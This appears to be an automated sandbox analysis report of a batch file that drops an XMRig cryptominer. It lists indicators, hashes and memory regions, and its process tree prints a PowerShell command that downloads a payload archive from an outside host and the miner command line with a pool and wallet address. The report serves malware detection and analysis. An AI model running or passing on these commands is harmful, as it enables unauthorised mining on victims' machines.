Analysis

  • max time kernel
    1795s
  • max time network
    1806s
  • platform
    windows10-1703_x64
  • resource
    win10-20230703-en
  • resource tags

    arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03-07-2023 23:32

General

  • Target

    tesy4.bat

  • Size

    700B

  • MD5

    185a2d7bf8c479e47ed8e1ef2cffe6a3

  • SHA1

    810436c92e9eb0c3ef0f6867e938b314f85f43c0

  • SHA256

    e5aaa6de5373b002a54ae2cce47c384f11a80e66b03531b98e8eff1a8dd79581

  • SHA512

    9f1fad5e2a66d6e3d8645ce6c4614fe65ccd169dfa7f78fa3ada228bd543fa7c3dadc384d839d063b66887207897226c57dc62bfb8458ba65614f153791c44bd

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/126d1e0b-e170-4964-b710-93ec152ec8c9.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:948
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1640
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 4AifziM6zLv4yV4tpjL9S7joqqMjRkCNQakDCxupKLiiVRmPg8pd2aVRPNo5tVZ2BhSdhadzda7V8EuHuWY3xpq2SCZ28HY.alt -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2400

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c46443dffddf40ead8cb775d2e2bdb11

    SHA1

    ebdd70a8366af171f26d05b3972dd3dc55a03ff9

    SHA256

    72ba37fe6df5f0873b1e32f2e82c82e24d876830dec6b65276dd19de9ba90fc2

    SHA512

    0029d5423a1a192e78a5ebeb91d60f234f5d61b31ff8d52980c144b06ccd8f807572011189aa953691be90552fb8df2457b524fc5d65bce37d549a44e34c7e68

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qatqd1y0.5lv.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    bf4229c027030eeea0db49d10248181d

    SHA1

    4d8291b1dd4d3ef3279cc4189d2ddfc88c1e3dad

    SHA256

    25fb70772bc5772ceefac7ebd9dbc684f4235c98f8d357f9001736adbfc6b5ba

    SHA512

    204c60a8f428c7ac3d07f90e678dae91410c5e9d919820748b45b62526146b03386b3c026da208fc8136df6cb19c61e0d1537f2bfee3032836a41165018acd4c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    187B

    MD5

    afb477de9747aa1571a5525e94bf2a4f

    SHA1

    82ac5daaeacd7b0814725c7f01f5464b24e2e000

    SHA256

    43e47a94bf314751868298f703f4f8641764918e683e37ee6fc8110f4dd61c0b

    SHA512

    7240cd0fecf838210afb8c2e06672181e1002b134b2c44a69c80aa6ccd30f36911670fe234d95f9a508b83cc8bdaf3d8b28029a7d55b3b8a4e1afaa6dd2d1997

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/948-164-0x0000017D59BF0000-0x0000017D59C00000-memory.dmp

    Filesize

    64KB

  • memory/948-166-0x0000017D59BF0000-0x0000017D59C00000-memory.dmp

    Filesize

    64KB

  • memory/948-187-0x0000017D59E40000-0x0000017D59E52000-memory.dmp

    Filesize

    72KB

  • memory/948-200-0x0000017D59E20000-0x0000017D59E2A000-memory.dmp

    Filesize

    40KB

  • memory/948-202-0x0000017D59BF0000-0x0000017D59C00000-memory.dmp

    Filesize

    64KB

  • memory/2400-249-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-254-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-219-0x0000026BC3080000-0x0000026BC30C0000-memory.dmp

    Filesize

    256KB

  • memory/2400-220-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-221-0x0000026BC34E0000-0x0000026BC3500000-memory.dmp

    Filesize

    128KB

  • memory/2400-222-0x0000026BC3710000-0x0000026BC3730000-memory.dmp

    Filesize

    128KB

  • memory/2400-223-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-224-0x0000026BC34E0000-0x0000026BC3500000-memory.dmp

    Filesize

    128KB

  • memory/2400-225-0x0000026BC3710000-0x0000026BC3730000-memory.dmp

    Filesize

    128KB

  • memory/2400-226-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-227-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-228-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-229-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-230-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-231-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-232-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-233-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-234-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-235-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-236-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-237-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-238-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-239-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-240-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-241-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-242-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-243-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-244-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-245-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-246-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-247-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-248-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-286-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-250-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-251-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-252-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-253-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-218-0x0000026B2F850000-0x0000026B2F870000-memory.dmp

    Filesize

    128KB

  • memory/2400-255-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-256-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-257-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-258-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-259-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-260-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-261-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-262-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-263-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-264-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-265-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-266-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-267-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-268-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-269-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-270-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-271-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-272-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-273-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-274-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-275-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-276-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-277-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-278-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-279-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-280-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-281-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-282-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-283-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-284-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/2400-285-0x00007FF68DB30000-0x00007FF68E633000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-121-0x00000286D7FA0000-0x00000286D7FC2000-memory.dmp

    Filesize

    136KB

  • memory/4528-124-0x00000286D8180000-0x00000286D81F6000-memory.dmp

    Filesize

    472KB

  • memory/4528-137-0x00000286D7FF0000-0x00000286D8000000-memory.dmp

    Filesize

    64KB

  • memory/4528-138-0x00000286D7FF0000-0x00000286D8000000-memory.dmp

    Filesize

    64KB

  • memory/4528-144-0x00000286D7FF0000-0x00000286D8000000-memory.dmp

    Filesize

    64KB